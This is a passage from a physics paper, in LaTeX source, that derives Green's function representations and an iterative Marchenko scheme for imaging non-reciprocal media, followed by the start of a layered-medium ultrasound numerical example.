We use the reciprocity theorems of the convolution and correlation type (equations (\ref{reccon}) and (\ref{reccor})) to derive Green's function
representations for the Marchenko method for non-reciprocal media.
The derivation is similar to that for reciprocal media \cite{Wapenaar2014JASA}; here we emphasise the differences.
We consider a spatial domain $\mathbb{D}$, enclosed by two infinite horizontal boundaries ${\partial\setD}_0$ and ${\partial\setD}_A$ (with ${\partial\setD}_A$ below ${\partial\setD}_0$),
and two finite vertical side boundaries (at $x_1\to\pm\infty$), see Figure \ref{Fig1}. The positive $x_3$-axis points downward.
The normal vectors at ${\partial\setD}_0$ and ${\partial\setD}_A$ are ${\bf n}=(0,-1)$ and ${\bf n}=(0,1)$, respectively.
The boundary integrals in equations (\ref{reccon}) and (\ref{reccor}) along the vertical side boundaries vanish \cite{Wapenaar89Book}.
Assuming there are no sources in $\mathbb{D}$ in both states, the reciprocity theorems thus simplify to
\begin{eqnarray}\label{eq19g}
&&\int_{{\partial\setD}_0}(P_A^{\rm (c)}Q_{3,B}-Q_{3,A}^{\rm (c)}P_B)\ddx=\int_{{\partial\setD}_A}(P_A^{\rm (c)}Q_{3,B}-Q_{3,A}^{\rm (c)}P_B)\ddx
\end{eqnarray}
and
\begin{eqnarray}\label{eq20g}
&&\int_{{\partial\setD}_0}(P_A^*Q_{3,B}+Q_{3,A}^*P_B)\ddx=\int_{{\partial\setD}_A}(P_A^*Q_{3,B}+Q_{3,A}^*P_B)\ddx.
\end{eqnarray}
For the derivation of the representations for the Marchenko method it is convenient to decompose the wave field quantities in
these theorems into downgoing and upgoing fields in both states.
Consider the following relations
\begin{equation}\label{eqcomp}
{\bf q}={{\mbox{\boldmath ${\cal L}$}}}{\bf p},\quad {\bf p}={{\mbox{\boldmath ${\cal L}$}}}^{-1}{\bf q},
\end{equation}
with wave vectors ${\bf q}={\bf q}({\bf x},\omega)$ and ${\bf p}={\bf p}({\bf x},\omega)$ defined as
\begin{eqnarray}\label{eq23ag}
{\bf q} =\begin{pmatrix} P \\ Q_3 \end{pmatrix},
\quad {\bf p} =\begin{pmatrix} U^+ \\ U^- \end{pmatrix}.
\end{eqnarray}
Here $U^+=U^+({\bf x},\omega)$ and $U^-=U^-({\bf x},\omega)$ are downgoing and upgoing \rev{flux-normalized} wave fields, respectively. Operator ${{\mbox{\boldmath ${\cal L}$}}}={{\mbox{\boldmath ${\cal L}$}}}({\bf x},\omega)$ in equation (\ref{eqcomp})
is a pseudo-differential operator that composes the total wave field from its downgoing and upgoing
constituents \cite{Corones83JASA, Fishman87JASA, Wapenaar89Book, Fishman93RS, Hoop92PHD, Hoop96JMP, Wapenaar96JASA, Haines96JMP, Fishman2000JMP}.
Its inverse decomposes the total wave field into downgoing and upgoing fields.
For inhomogeneous isotropic reciprocal media, the theory for this operator is well developed.
For anisotropic non-reciprocal media, we restrict the application of this operator to the laterally invariant situation. In Appendix \ref{AppB} we use equations
(\ref{eqcomp}) and (\ref{eq23ag}) at boundaries ${\partial\setD}_0$
and ${\partial\setD}_A$ to recast reciprocity theorems (\ref{eq19g}) and (\ref{eq20g}) as follows
\begin{eqnarray}
&&\int_{{\partial\setD}_0}\bigl(U_A^{+\a}U_B^- - U_A^{-\a}U_B^+\bigr)\ddx=
\int_{{\partial\setD}_A}\bigl(U_A^{+\a}U_B^- - U_A^{-\a}U_B^+\bigr)\ddx\label{eq142}
\end{eqnarray}
and
\begin{eqnarray}
&&\int_{{\partial\setD}_0}\bigl(U_A^{+*}U_B^+ - U_A^{-*}U_B^-\bigr)\ddx=
\int_{{\partial\setD}_A}\bigl(U_A^{+*}U_B^+ - U_A^{-*}U_B^-\bigr)\ddx.\label{eq143}
\end{eqnarray}
Equation (\ref{eq142}) is exact, whereas in equation (\ref{eq143}) evanescent waves are neglected at boundaries ${\partial\setD}_0$ and ${\partial\setD}_A$.
Note that the assumption of lateral invariance only applies to boundaries ${\partial\setD}_0$ and ${\partial\setD}_A$; the remainder of the medium (in- and outside $\mathbb{D}$)
may be arbitrary inhomogeneous.
In the following we define ${\partial\setD}_0$ (at $x_3=x_{3,0}$) as the upper boundary of an inhomogeneous, anisotropic, non-reciprocal, lossless medium.
Furthermore, we define ${\partial\setD}_A$ (at $x_3=x_{3,A}$, with $x_{3,A}>x_{3,0}$) as an arbitrary boundary inside the medium.
We assume that the medium above ${\partial\setD}_0$ is homogeneous.
For state $B$ we consider a unit source for downgoing waves at ${\bf x}_S=(x_{1,S},x_{3,S})$, just above ${\partial\setD}_0$ (hence, $x_{3,S}=x_{3,0}-\epsilon$, with $\epsilon\to 0$).
The response to this unit source at any observation point ${\bf x}$ is given by $U_B^\pm({\bf x},\omega)=G^\pm({\bf x},{\bf x}_S,\omega)$, where $G^+$ and $G^-$ denote the
downgoing and upgoing components of the Green's function.
For ${\bf x}$ at ${\partial\setD}_0$, i.e., just below the source, we have $U_B^+({\bf x},\omega)=G^+({\bf x},{\bf x}_S,\omega)=\delta(x_1-x_{1,S})$ and
$U_B^-({\bf x},\omega)=G^-({\bf x},{\bf x}_S,\omega)=R({\bf x},{\bf x}_S,\omega)$, with $R({\bf x},{\bf x}_S,\omega)$ denoting the reflection response at ${\partial\setD}_0$
of the medium below ${\partial\setD}_0$.
At ${\partial\setD}_A$, we have $U_B^\pm({\bf x},\omega)=G^\pm({\bf x},{\bf x}_S,\omega)$.
For state $A$ we consider a focal point at ${\bf x}_A=(x_{1,A},x_{3,A})$ at ${\partial\setD}_A$. The medium in state $A$ is a truncated medium,
which is identical to the actual medium between ${\partial\setD}_0$ and ${\partial\setD}_A$, and homogeneous below ${\partial\setD}_A$.
At ${\partial\setD}_0$ a downgoing focusing function $U_A^+({\bf x},\omega)=f_1^+({\bf x},{\bf x}_A,\omega)$, with ${\bf x}=(x_1,x_{3,0})$, is incident to the truncated medium.
This function focuses at ${\bf x}_A$, hence, at ${\partial\setD}_A$ we have $U_A^+({\bf x},\omega)=f_1^+({\bf x},{\bf x}_A,\omega)=\delta(x_1-x_{1,A})$.
The response to this focusing function at ${\partial\setD}_0$ is $U_A^-({\bf x},\omega)=f_1^-({\bf x},{\bf x}_A,\omega)$.
Because the truncated medium is homogeneous below ${\partial\setD}_A$, we have $U_A^-({\bf x},\omega)=0$ at ${\partial\setD}_A$.
The quantities for both states are summarised in Table 2.
\begin{center}
{\small
{\noindent \it Table 2: Quantities to derive equations (\ref{eq145}) and (\ref{eq146}).}
\begin{tabular}{||l|c|c|c|c||}
\hline\hline
& $U_A^+({\bf x},\omega)$ & $U_A^-({\bf x},\omega)$ & $U_B^+({\bf x},\omega)$ & $U_B^-({\bf x},\omega)$ \\
\hline
${\bf x}=(x_1,x_{3,0})$ at ${\partial\setD}_0$
& $f_1^+({\bf x},{\bf x}_A,\omega)$ &$f_1^-({\bf x},{\bf x}_A,\omega)$ & $\delta(x_1-x_{1,S}) $ & $R({\bf x},{\bf x}_S,\omega)$\\
\hline
${\bf x}=(x_1,x_{3,A})$ at ${\partial\setD}_A$
& $\delta(x_1-x_{1,A})$ &$0$ & $G^+({\bf x},{\bf x}_S,\omega)$ & $G^-({\bf x},{\bf x}_S,\omega)$ \\
\hline\hline
\end{tabular}
}
\end{center}
\mbox{}\\
Note that the downgoing focusing function $f_1^+({\bf x},{\bf x}_A,\omega)$, for ${\bf x}$ at ${\partial\setD}_0$, is the inverse of the transmission response
$T({\bf x}_A,{\bf x},\omega)$ of the truncated medium \cite{Wapenaar2014JASA}, hence
\begin{eqnarray}\label{eqTinv}
f_1^+({\bf x},{\bf x}_A,\omega)=T^{\rm inv}({\bf x}_A,{\bf x},\omega),
\end{eqnarray}
for ${\bf x}$ at ${\partial\setD}_0$.
To avoid instabilities in the evanescent field, the focusing function is in practice spatially band-limited.
Substituting the quantities of Table 2 into equations (\ref{eq142}) and (\ref{eq143}) gives
\begin{eqnarray}
&&G^-({\bf x}_A,{\bf x}_S,\omega)+f_1^{-\a}({\bf x}_S,{\bf x}_A,\omega)=
\int_{{\partial\setD}_0}R({\bf x},{\bf x}_S,\omega)f_1^{+\a}({\bf x},{\bf x}_A,\omega)\ddx\label{eq145}
\end{eqnarray}
and
\begin{eqnarray}
&&G^+({\bf x}_A,{\bf x}_S,\omega)-\{f_1^+({\bf x}_S,{\bf x}_A,\omega)\}^*=
-\int_{{\partial\setD}_0}R({\bf x},{\bf x}_S,\omega)\{f_1^-({\bf x},{\bf x}_A,\omega)\}^*\ddx,\label{eq146}
\end{eqnarray}
respectively. These are two representations for the upgoing and downgoing parts of the Green's function between ${\bf x}_S$ at the acquisition surface and ${\bf x}_A$ inside the non-reciprocal medium.
They are expressed in terms of the reflection response $R({\bf x},{\bf x}_S,\omega)$ and a number of focusing functions.
Unlike similar representations for reciprocal media \cite{Slob2014GEO, Wapenaar2014JASA}, the focusing functions in equation (\ref{eq145}) are defined in the \rev{complementary version}
of the truncated medium.
Therefore we cannot use the standard approach to retrieve the focusing functions and Green's functions from the reflection response $R({\bf x},{\bf x}_S,\omega)$.
We obtain a second set of representations by replacing all quantities in equations (\ref{eq145}) and (\ref{eq146}) by the corresponding quantities in the \rev{complementary} medium.
For the focusing functions in equation (\ref{eq145}) this implies they are replaced by their counterparts in the truncated actual medium.
We thus obtain
\begin{eqnarray}
&&G^{-\a}({\bf x}_A,{\bf x}_S,\omega)+f_1^-({\bf x}_S,{\bf x}_A,\omega)=
\int_{{\partial\setD}_0}R^{\rm (c)}({\bf x},{\bf x}_S,\omega)f_1^+({\bf x},{\bf x}_A,\omega)\ddx\label{eq145b}
\end{eqnarray}
and
\begin{eqnarray}
&&G^{+\a}({\bf x}_A,{\bf x}_S,\omega)-\{f_1^{+\a}({\bf x}_S,{\bf x}_A,\omega)\}^*=
-\int_{{\partial\setD}_0}R^{\rm (c)}({\bf x},{\bf x}_S,\omega)\{f_1^{-\a}({\bf x},{\bf x}_A,\omega)\}^*\ddx,\label{eq146b}
\end{eqnarray}
respectively. Because in practical situations we do not have access to the reflection response $R^{\rm (c)}({\bf x},{\bf x}_S,\omega)$
in the \rev{complementary} medium, we derive a relation analogous to equation (\ref{eq11})
for this reflection response. To this end, consider the quantities in Table 3,
with ${\bf x}_S$ and ${\bf x}_R$ just above ${\partial\setD}_0$, and with ${\partial\setD}_M$ denoting a boundary below all inhomogeneities, so that there are no upgoing waves at ${\partial\setD}_M$.
Substituting the quantities of Table 3 into equation (\ref{eq142}) (with ${\partial\setD}_A$ replaced by ${\partial\setD}_M$) gives
\begin{equation}\label{eq27qq}
R^{\rm (c)}({\bf x}_R,{\bf x}_S,\omega)=R({\bf x}_S,{\bf x}_R,\omega).
\end{equation}
Equations (\ref{eq145}) $-$ (\ref{eq146b}), with $R^{\rm (c)}({\bf x},{\bf x}_S,\omega)$ replaced by $R({\bf x}_S,{\bf x},\omega)$, form the basis for the Marchenko method, discussed in the next section.\\
\begin{center}
{\small
{\noindent \it Table 3: Quantities to derive equation (\ref{eq27qq}).}
\begin{tabular}{||l|c|c|c|c||}
\hline\hline
& $U_A^{+\a}({\bf x},\omega)$ & $U_A^{-\a}({\bf x},\omega)$ & $U_B^+({\bf x},\omega)$ & $U_B^-({\bf x},\omega)$ \\
\hline
${\bf x}=(x_1,x_{3,0})$ at ${\partial\setD}_0$
& $\delta(x_1-x_{1,S}) $ & $R^{\rm (c)}({\bf x},{\bf x}_S,\omega)$ & $\delta(x_1-x_{1,R}) $ & $R({\bf x},{\bf x}_R,\omega)$\\
\hline
${\bf x}=(x_1,x_{3,M})$ at ${\partial\setD}_M$
& $G^{+\a}({\bf x},{\bf x}_S,\omega)$ &$0$ & $G^+({\bf x},{\bf x}_R,\omega)$ & 0 \\
\hline\hline
\end{tabular}
}
\end{center}
\section{The Marchenko method for non-reciprocal media}
The standard multidimensional Marchenko method for reciprocal media \cite{Slob2014GEO, Wapenaar2014JASA}
uses the representations of equations (\ref{eq145}) and (\ref{eq146}), but without the superscript $\rm (c)$,
to retrieve the focusing functions from the reflection response. Here we discuss how to modify this method for non-reciprocal media.
We separate the representations of equations (\ref{eq145}) $-$ (\ref{eq146b}) into two sets, each set containing focusing functions in one and the same truncated medium. These sets are
equations (\ref{eq146}) and (\ref{eq145b}), with the focusing functions in the truncated actual medium, and equations (\ref{eq145}) and (\ref{eq146b}),
with the focusing functions in the truncated \rev{complementary} medium. We start with the set of equations (\ref{eq146}) and (\ref{eq145b}), which read in the time domain
(using equation (\ref{eq27qq}))
\begin{eqnarray}
&&G^+({\bf x}_A,{\bf x}_S,t)-f_1^+({\bf x}_S,{\bf x}_A,-t)=
-\int_{{\partial\setD}_0}\ddx\int_{-\infty}^tR({\bf x},{\bf x}_S,t-t')f_1^-({\bf x},{\bf x}_A,-t'){\rm d}t'\label{eq146t}
\end{eqnarray}
and
\begin{eqnarray}
&&G^{-\a}({\bf x}_A,{\bf x}_S,t)+f_1^-({\bf x}_S,{\bf x}_A,t)=
\int_{{\partial\setD}_0}\ddx\int_{-\infty}^t R({\bf x}_S,{\bf x},t-t')f_1^+({\bf x},{\bf x}_A,t'){\rm d}t',\label{eq145t}
\end{eqnarray}
respectively. We introduce time windows to remove the Green's functions from these representations.
Similar as in the reciprocal situation,
we assume that the Green's function and the time-reversed focusing function on the left-hand side of equation (\ref{eq146t}) are separated in time,
except for the direct arrivals \cite{Wapenaar2014JASA}.
This is a reasonable assumption for media with smooth lateral variations, and for limited horizontal source-receiver distances.
Let $t_{\rm d}({\bf x}_A,{\bf x}_S)$ denote the travel time of the direct arrival of $G^+({\bf x}_A,{\bf x}_S,t)$. We define a time window
$w({\bf x}_A,{\bf x}_S,t)=u(t_{\rm d}({\bf x}_A,{\bf x}_S)-t_\epsilon-t)$, where $u(t)$ is the Heaviside function and $t_\epsilon$ a small positive time constant.
Under the above-mentioned assumption, we have $w({\bf x}_A,{\bf x}_S,t)G^+({\bf x}_A,{\bf x}_S,t)=0$. For the focusing function on the left-hand side of
equation (\ref{eq146t}) we write \cite{Wapenaar2014JASA}
\begin{eqnarray}
f_1^+({\bf x}_S,{\bf x}_A,t)&=&T^{\rm inv}({\bf x}_A,{\bf x}_S,t)\nonumber\\
&=&T_{\rm d}^{\rm inv}({\bf x}_A,{\bf x}_S,t)+M^+({\bf x}_S,{\bf x}_A,t),\label{eqf1p}
\end{eqnarray}
where $T_{\rm d}^{\rm inv}({\bf x}_A,{\bf x}_S,t)$ is the inverse of the direct arrival of the transmission response of the truncated medium and $M^+({\bf x}_S,{\bf x}_A,t)$ the scattering coda.
The travel time of $T_{\rm d}^{\rm inv}({\bf x}_A,{\bf x}_S,t)$ is $-t_{\rm d}({\bf x}_A,{\bf x}_S)$ and the scattering coda obeys $M^+({\bf x}_S,{\bf x}_A,t)=0$ for $t\le-t_{\rm d}({\bf x}_A,{\bf x}_S)$.
Hence, $w({\bf x}_A,{\bf x}_S,t)f_1^+({\bf x}_S,{\bf x}_A,-t)=M^+({\bf x}_S,{\bf x}_A,-t)$.
Applying the time window $w({\bf x}_A,{\bf x}_S,t)$ to both sides of equation (\ref{eq146t}) thus yields
\begin{eqnarray}
&&M^+({\bf x}_S,{\bf x}_A,-t)=
w({\bf x}_A,{\bf x}_S,t)\int_{{\partial\setD}_0}\ddx\int_{-\infty}^tR({\bf x},{\bf x}_S,t-t')f_1^-({\bf x},{\bf x}_A,-t'){\rm d}t'.\label{eq146tw}
\end{eqnarray}
\rev{Under the same conditions as those mentioned for equation (\ref{eq146t}),}
we assume that the Green's function and the focusing function in the left-hand side of equation (\ref{eq145t}) are separated in time (without overlap).
Unlike for reciprocal media, we need a different time window to suppress the Green's function, because the latter is defined in the \rev{complementary} medium.
To this end we define a time window $w^{\rm (c)}({\bf x}_A,{\bf x}_S,t)=u(t_{\rm d}^{\rm (c)}({\bf x}_A,{\bf x}_S)-t_\epsilon-t)$,
where $t_{\rm d}^{\rm (c)}({\bf x}_A,{\bf x}_S)$ denotes the travel time of the direct arrival in the \rev{complementary} medium.
Applying this window to both sides of equation (\ref{eq145t}) yields
\begin{eqnarray}
&&f_1^-({\bf x}_S,{\bf x}_A,t)=
w^{\rm (c)}({\bf x}_A,{\bf x}_S,t)\int_{{\partial\setD}_0}\ddx\int_{-\infty}^t R({\bf x}_S,{\bf x},t-t')f_1^+({\bf x},{\bf x}_A,t'){\rm d}t'.\label{eq145tw}
\end{eqnarray}
Equations (\ref{eq146tw}) and (\ref{eq145tw}), with $f_1^+$ given by equation (\ref{eqf1p}),
form a set of two equations for the two unknown functions $M^+({\bf x},{\bf x}_A,t)$ and $f_1^-({\bf x},{\bf x}_A,t)$ (with ${\bf x}$ at ${\partial\setD}_0$). These functions can be resolved from
equations (\ref{eq146tw}) and (\ref{eq145tw}), assuming $R({\bf x},{\bf x}_S,t)$, $R({\bf x}_S,{\bf x},t)$, $t_{\rm d}({\bf x}_A,{\bf x}_S)$, $t_{\rm d}^{\rm (c)}({\bf x}_A,{\bf x}_S)$ and $T_{\rm d}^{\rm inv}({\bf x}_A,{\bf x}_S,t)$
are known for all ${\bf x}$ and ${\bf x}_S$ at ${\partial\setD}_0$. The reflection responses $R({\bf x},{\bf x}_S,t)$ and $R({\bf x}_S,{\bf x},t)$ are obtained from measurements at the upper boundary ${\partial\setD}_0$ of the medium.
This involves deconvolution for the source function, decomposition and, when the upper boundary is a reflecting boundary,
elimination of the surface-related multiple reflections \cite{Verschuur92GEO}.
\rev{Because the deconvolution is limited by the bandwidth of the source function, the time constant $t_\epsilon$ in the window function is taken equal to half the duration of the source function.
This implies that the method will not account for short period multiples in layers with a thickness smaller than the wavelength \cite{Slob2014GEO}.
}
The travel times $t_{\rm d}({\bf x}_A,{\bf x}_S)$ and $t_{\rm d}^{\rm (c)}({\bf x}_A,{\bf x}_S)$, and the
inverse of the direct arrival of the transmission response, $T_{\rm d}^{\rm inv}({\bf x}_A,{\bf x}_S,t)$, can be derived from a background model of the medium and its \rev{complementary version
(once the background model is known, its complementary version follows immediately).}
A smooth background model is sufficient to derive these quantities, hence, no information about the scattering interfaces inside the medium is required.
The iterative Marchenko scheme to solve for $M^+({\bf x},{\bf x}_A,t)$ and $f_1^-({\bf x},{\bf x}_A,t)$ reads
%
\begin{eqnarray}
f_{1,k}^-({\bf x}_S,{\bf x}_A,t)&=&
w^{\rm (c)}({\bf x}_A,{\bf x}_S,t)\int_{{\partial\setD}_0}\ddx\int_{-\infty}^t R({\bf x}_S,{\bf x},t-t')f_{1,k}^+({\bf x},{\bf x}_A,t'){\rm d}t',\label{eq145twit}\\
M_{k+1}^+({\bf x}_S,{\bf x}_A,-t)&=&
w({\bf x}_A,{\bf x}_S,t)\int_{{\partial\setD}_0}\ddx\int_{-\infty}^tR({\bf x},{\bf x}_S,t-t')f_{1,k}^-({\bf x},{\bf x}_A,-t'){\rm d}t',\label{eq146twit}
\end{eqnarray}
with
\begin{eqnarray}
f_{1,k}^+({\bf x},{\bf x}_A,t)=T_{\rm d}^{\rm inv}({\bf x}_A,{\bf x},t)+M_k^+({\bf x},{\bf x}_A,t),\label{eqf1pit}
\end{eqnarray}
starting with $M_0^+({\bf x},{\bf x}_A,t)=0$. Once $M^+({\bf x},{\bf x}_A,t)$ and $f_1^-({\bf x},{\bf x}_A,t)$ are found, $f_1^+({\bf x},{\bf x}_A,t)$ is obtained from equation (\ref{eqf1p}) and, subsequently,
the Green's functions $G^+({\bf x}_A,{\bf x}_S,t)$ and $G^{-\a}({\bf x}_A,{\bf x}_S,t)$ are obtained from equations (\ref{eq146t}) and (\ref{eq145t}).
Note that only $G^+({\bf x}_A,{\bf x}_S,t)$ is defined in the actual medium.
To obtain $G^-({\bf x}_A,{\bf x}_S,t)$ in the actual medium we consider the set of equations
(\ref{eq145}) and (\ref{eq146b}), which read in the time domain (using equation (\ref{eq27qq}))
\begin{eqnarray}
&&G^-({\bf x}_A,{\bf x}_S,t)+f_1^{-\a}({\bf x}_S,{\bf x}_A,t)=\int_{{\partial\setD}_0}\ddx \int_{-\infty}^t R({\bf x},{\bf x}_S,t-t')f_1^{+\a}({\bf x},{\bf x}_A,t'){\rm d}t'\label{eq145tt}
\end{eqnarray}
and
\begin{equation}
G^{+\a}({\bf x}_A,{\bf x}_S,t)-f_1^{+\a}({\bf x}_S,{\bf x}_A,-t)=-\int_{{\partial\setD}_0}\ddx\int_{-\infty}^t R({\bf x}_S,{\bf x},t-t')f_1^{-\a}({\bf x},{\bf x}_A,-t'){\rm d}t',\label{eq146bt}
\end{equation}
respectively.
The same reasoning as above leads to the following iterative Marchenko scheme for the focusing functions in the truncated \rev{complementary} medium
\begin{eqnarray}
f_{1,k}^{-\a}({\bf x}_S,{\bf x}_A,t)&=&w({\bf x}_A,{\bf x}_S,t)
\times\int_{{\partial\setD}_0}\ddx \int_{-\infty}^t R({\bf x},{\bf x}_S,t-t')f_{1,k}^{+\a}({\bf x},{\bf x}_A,t'){\rm d}t'\label{eq145ttaait}\\
M_{k+1}^{+\a}({\bf x}_S,{\bf x}_A,-t)&=&w^{\rm (c)}({\bf x}_A,{\bf x}_S,t)\int_{{\partial\setD}_0}\ddx\int_{-\infty}^t R({\bf x}_S,{\bf x},t-t')f_{1,k}^{-\a}({\bf x},{\bf x}_A,-t'){\rm d}t',\label{eq146btaait}
\end{eqnarray}
with
\begin{eqnarray}
f_{1,k}^{+\a}({\bf x},{\bf x}_A,t)=T_{\rm d}^{{\rm inv}\rm (c)}({\bf x}_A,{\bf x},t)+M_k^{+\a}({\bf x},{\bf x}_A,t),\label{eqf1paait}
\end{eqnarray}
starting with $M_0^{+\a}({\bf x},{\bf x}_A,t)=0$. Here $T_{\rm d}^{{\rm inv}\rm (c)}({\bf x}_A,{\bf x},t)$ can be derived from the \rev{complementary} background model.
Once the focusing functions $f_1^{+\a}({\bf x},{\bf x}_A,t)$ and $f_1^{-\a}({\bf x},{\bf x}_A,t)$ are found,
the Green's functions $G^-({\bf x}_A,{\bf x}_S,t)$ and $G^{+\a}({\bf x}_A,{\bf x}_S,t)$ are obtained from equations
(\ref{eq145tt}) and (\ref{eq146bt}).
\begin{center}
{\small
{\noindent \it Table 4: Quantities to derive equation (\ref{eqMDD}).}
\begin{tabular}{||l|c|c|c|c||}
\hline\hline
& $U_A^{+\a}({\bf x},\omega)$ & $U_A^{-\a}({\bf x},\omega)$ & $U_B^+({\bf x},\omega)$ & $U_B^-({\bf x},\omega)$ \\
\hline
${\bf x}=(x_1,x_{3,A})$ at ${\partial\setD}_A$
& $\delta(x_1-x_{1,A}) $ & $R^{\rm (c)}({\bf x},{\bf x}_A,\omega)$ & $G^+({\bf x},{\bf x}_S,\omega)$ & $G^-({\bf x},{\bf x}_S,\omega)$\\
\hline
${\bf x}=(x_1,x_{3,M})$ at ${\partial\setD}_M$
& $G^{+\a}({\bf x},{\bf x}_A,\omega)$ &$0$ & $G^+({\bf x},{\bf x}_S,\omega)$ & 0 \\
\hline\hline
\end{tabular}
}
\end{center}
\mbox{}\\
We conclude this section by showing how $G^+({\bf x}_A,{\bf x}_S,t)$ and $G^-({\bf x}_A,{\bf x}_S,t)$ can be used to image the interior of the non-reciprocal medium.
First we derive a mutual relation between these Green's functions. To this end, consider the quantities in Table 4. Here $R^{\rm (c)}({\bf x},{\bf x}_A,\omega)$ in state $A$ is the reflection response
at ${\partial\setD}_A$
of the \rev{complementary} medium below ${\partial\setD}_A$, with ${\bf x}_A$ defined just above ${\partial\setD}_A$ and the medium in state $A$ being homogeneous above ${\partial\setD}_A$.
Substituting the quantities of Table 4 into equation (\ref{eq142}) (with ${\partial\setD}_0$ and ${\partial\setD}_A$ replaced by ${\partial\setD}_A$ and ${\partial\setD}_M$, respectively) \rev{and using equation (\ref{eq27qq}),} gives
\begin{eqnarray}
&&G^-({\bf x}_A,{\bf x}_S,\omega)=
\int_{{\partial\setD}_A}R({\bf x}_A,{\bf x},\omega)G^+({\bf x},{\bf x}_S,\omega)\ddx,\label{eqMDD}
\end{eqnarray}
or, applying an inverse Fourier transformation to the time domain,
\begin{eqnarray}
&&G^-({\bf x}_A,{\bf x}_S,t)=
\int_{{\partial\setD}_A}\ddx \int_{-\infty}^tR({\bf x}_A,{\bf x},t-t')G^+({\bf x},{\bf x}_S,t'){\rm d}t'.\label{eqMDDt}
\end{eqnarray}
Given the Green's functions $G^+({\bf x},{\bf x}_S,t)$ and $G^-({\bf x}_A,{\bf x}_S,t)$ for all ${\bf x}_A$ and ${\bf x}$ at ${\partial\setD}_A$ for a range of source positions ${\bf x}_S$ at ${\partial\setD}_0$, the reflection response
$R({\bf x}_A,{\bf x},t)$ for all ${\bf x}_A$ and ${\bf x}$ at ${\partial\setD}_A$ can be resolved by multidimensional deconvolution \cite{Wapenaar2000SEG, Amundsen2001GEO, Holvik2005GEO, Wapenaar2010JASA, Neut2011GEO, Ravasi2015GJI}. An image can be obtained by selecting $R({\bf x}_A,{\bf x}_A,t=0)$ and repeating the process for any ${\bf x}_A$ in the region of interest.
\rev{
We discuss an alternative imaging approach for the special case of a laterally invariant medium.
To this end we first rewrite equation (\ref{eqMDD}) as a spatial convolution, taking $x_{1,S}=0$, hence
\begin{eqnarray}
&&G^-(x_{1,A},x_{3,A},x_{3,S},\omega)=
\int_{-\infty}^\infty R(x_{1,A}-x_1,x_{3,A},\omega)G^+(x_1,x_{3,A},x_{3,S},\omega){\rm d}x_1.\label{eqMDDhh}
\end{eqnarray}
We define the spatial Fourier transform of a function $P(x_1,x_3,\omega)$ as
\begin{equation}\label{eqFTP}
\tilde P(s_1,x_3,\omega)=\int_{-\infty}^\infty P(x_1,x_3,\omega)\exp(-i\omega s_1 x_1){\rm d}x_1,
\end{equation}
with $s_1$ being the horizontal slowness. In the $(s_1,x_3,\omega)$-domain, equation (\ref{eqMDDhh}) becomes
\begin{equation}
\tilde G^-(s_1,x_{3,A},x_{3,S},\omega)=\tilde R(s_1,x_{3,A},\omega)\tilde G^+(s_1,x_{3,A},x_{3,S},\omega),
\end{equation}
or, applying an inverse Fourier transformation to the time domain,
\begin{equation}\label{eq47}
G^-(s_1,x_{3,A},x_{3,S},\tau)=\int_{-\infty}^\tau R(s_1,x_{3,A},\tau-\tau')G^+(s_1,x_{3,A},x_{3,S},\tau'){\rm d}\tau'.
\end{equation}
Given the Green's functions $G^+ (s_1,x_{3,A},x_{3,S},\tau) $ and $G^-(s_1,x_{3,A},x_{3,S},\tau)$, the reflection response
$R(s_1,x_{3,A},\tau)$ for each horizontal slowness $s_1$ can be resolved by 1D deconvolution. An image can be obtained by selecting $R(s_1,x_{3,A},\tau=0)$ and repeating the process
for all $s_1$ and for any $x_{3,A}$ in the region of interest.
}
\begin{figure}
\centerline{\epsfysize=11 cm \epsfbox{Figure2.pdf}}
\caption{\footnotesize \rev{Solid lines:} parameters $\alpha(x_3)$, $\beta_{11}(x_3)$, $\beta_{33}(x_3)$, $\beta_{31}(x_3)$, $\gamma_1(x_3)$ and $\gamma_3(x_3)$ of the layered medium.
\rev{Dotted lines: smoothed medium parameters, used to model the initial estimate of the focusing functions}.}
\label{Fig11}
\end{figure}
\begin{figure}
\centerline{\epsfysize=10 cm \epsfbox{Figure3.pdf}}
\caption{\footnotesize The modeled reflection response $R({\bf x},{\bf x}_S,t)*S(t)$ at ${\partial\setD}_0$. \rev{Note the asymmetry with respect to the dashed line due to the non-reciprocal medium parameters.}}
\label{Fig11b}
\end{figure}
\section{Numerical example}
\begin{figure}
\centerline{\epsfysize=14 cm \epsfbox{Figure4.pdf}}
\caption{\footnotesize Snapshots of $\{G^+({\bf x}_A,{\bf x}_S,t)+G^-({\bf x}_A,{\bf x}_S,t)\}*S(t)$, retrieved via equations (\ref{eq146t}) and (\ref{eq145tt}), for ${\bf x}_S=(0,0)$ and variable ${\bf x}_A$.}
\label{Fig12}
\end{figure}
We illustrate the proposed methodology with a numerical example, \rev{mimicking an ultrasound experiment}. For simplicity we consider a horizontally layered medium,
consisting of three homogeneous layers and a homogeneous half-space below the deepest layer. The medium parameters of the layered medium,
$\alpha(x_3)$, $\beta_{rs}(x_3)$ and $\gamma_r(x_3)$ are shown in Figure \ref{Fig11}.
In many practical situations the parameters $\beta_{31}(x_3)$ and $\gamma_3(x_3)$ will be zero,
but we choose them to be non-zero to demonstrate the generality of the method. We define a source at ${\bf x}_S=(0,0)$ at the top of the first layer,
which emits a time-symmetric wavelet $S(t)$ with a central frequency of 600 kHz into the layered medium. We use
a wavenumber-frequency domain modelling method \cite{Kennett79GJRAS}, adjusted for non-reciprocal media, to model the response to this source.
The modelled reflection response,
$R({\bf x},{\bf x}_S,t)*S(t)$ at ${\partial\setD}_0$ (the asterisk denoting convolution), is shown in Figure \ref{Fig11b}. To emphasise the multiple scattering, a time-dependent
amplitude gain has been applied, using the function $\exp\{3t/375\mu s\}$.
Note that the apices of the reflection hyperbolae drift to the left with increasing time, which is a manifestation of the non-reciprocal medium parameters.
Because the medium is laterally invariant, the response to any other source at the surface is just a laterally shifted version of the response in Figure \ref{Fig11b}.
We apply the Marchenko method, discussed in detail in the previous section, to derive the focusing functions $f_1^\pm({\bf x}_S,{\bf x}_A,t)$ and $f_1^{\pm\rm (c)}({\bf x}_S,{\bf x}_A,t)$
for fixed ${\bf x}_S=(0,0)$ and variable ${\bf x}_A$. As input we use the reflection response $R({\bf x},{\bf x}_S,t)*S(t)$ \rev{of the actual medium}
and the direct arrivals $T_{\rm d}({\bf x}_A,{\bf x},t)$ and $T_{\rm d}^{\rm (c)}({\bf x}_A,{\bf x},t)$, modelled in \rev{a smoothed version of the truncated} medium and its \rev{complementary version
(the smoothed medium is indicated by the dotted lines in Figure \ref{Fig11}).
For simplicity we approximate the inverse direct arrivals $T_{\rm d}^{\rm inv}({\bf x}_A,{\bf x},t)$ and $T_{\rm d}^{{\rm inv}\rm (c)}({\bf x}_A,{\bf x},t)$
